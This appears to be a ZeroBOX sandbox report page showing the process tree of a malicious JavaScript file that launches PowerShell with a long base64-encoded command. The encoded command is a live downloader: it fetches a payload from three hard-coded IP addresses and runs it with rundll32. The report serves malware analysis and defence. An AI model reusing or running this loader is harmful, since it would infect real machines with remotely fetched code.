popup
| ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

Behavioral Analysis

Process tree

  • wscript.exe "C:\Windows\System32\wscript.exe" C:\Users\test22\AppData\Local\Temp\Qt.js

    3044

    • wscript.exe "C:\Windows\System32\wscript.exe" "C:\Users\test22\AppData\Local\Temp\Qt.js" FoggedDripolator accoutre excecationInfiltrators

      2224

      • powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand "UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAANgA2ADsAJAB0AHUAcgBkAGUAdABhAG4ARwByAG8AdABlAHMAcQB1AGUAcwAgAD0AIAAoACIAaAB0AHQAcAA6AC8ALwAxADAANAAuADIAMwA0AC4AMQAwAC4ANgA3AC8AMABnAGUANwBuAEcALwBPAHMARgBQADAAdwBpAFUAcAB2ACwAaAB0AHQAcAA6AC8ALwAxADYAMgAuADIANQAyAC4AMQA3ADUALgAxADQAOAAvADcAbABMAHUALwB5AG8ASgAxADYAVQB3AHgATwBGACwAaAB0AHQAcAA6AC8ALwAxADYAMgAuADIANQAyAC4AMQA3ADUALgAxADgAOQAvAGMAZgBWAHMAegBzADUALwBpAFYAUABUAG0AWgBXAHUAdAA3AEsAIgApAC4AcwBwAGwAaQB0ACgAIgAsACIAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQARQBuAGQAbwBwAGwAYQBzAHQAdQBsAGEAcgBTAGMAYQBsAGEAdwBhAGcAZwB5ACAAaQBuACAAJAB0AHUAcgBkAGUAdABhAG4ARwByAG8AdABlAHMAcQB1AGUAcwApACAAewB0AHIAeQAgAHsAdwBnAGUAdAAgACQARQBuAGQAbwBwAGwAYQBzAHQAdQBsAGEAcgBTAGMAYQBsAGEAdwBhAGcAZwB5ACAALQBUAGkAbQBlAG8AdQB0AFMAZQBjACAAMQA3ACAALQBPACAAJABlAG4AdgA6AFQARQBNAFAAXABhAG0AZQBkAGUAbwBPAG0AbgBpAGYAbwBjAGEAbAAuAEUAbABlAHYAYQB0AGkAbwBuADsAaQBmACAAKAAoAEcAZQB0AC0ASQB0AGUAbQAgACQAZQBuAHYAOgBUAEUATQBQAFwAYQBtAGUAZABlAG8ATwBtAG4AaQBmAG8AYwBhAGwALgBFAGwAZQB2AGEAdABpAG8AbgApAC4AbABlAG4AZwB0AGgAIAAtAGcAZQAgADUAMAAwADAAMAApACAAewBwAG8AdwBlAHIAcwBoAGUAbABsACAALQBlAG4AYwBvAGQAZQBkAGMAbwBtAG0AYQBuAGQAIAAiAGMAdwBCADAAQQBHAEUAQQBjAGcAQgAwAEEAQwBBAEEAYwBnAEIAMQBBAEcANABBAFoAQQBCAHMAQQBHAHcAQQBNAHcAQQB5AEEAQwBBAEEASgBBAEIAbABBAEcANABBAGQAZwBBADYAQQBGAFEAQQBSAFEAQgBOAEEARgBBAEEAWABBAEIAaABBAEcAMABBAFoAUQBCAGsAQQBHAFUAQQBiAHcAQgBQAEEARwAwAEEAYgBnAEIAcABBAEcAWQBBAGIAdwBCAGoAQQBHAEUAQQBiAEEAQQB1AEEARQBVAEEAYgBBAEIAbABBAEgAWQBBAFkAUQBCADAAQQBHAGsAQQBiAHcAQgB1AEEAQwB3AEEAVgBBAEIAcABBAEcAMABBAFoAUQBBADcAQQBBAD0APQAiADsAYgByAGUAYQBrADsAfQB9AGMAYQB0AGMAaAAgAHsAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAANQA7AH0AfQA="

        2388

Process contents

No process loaded Click on a process in the tree above to load its data.

PID
Parent PID
default registry file network process services synchronisation iexplore office pdf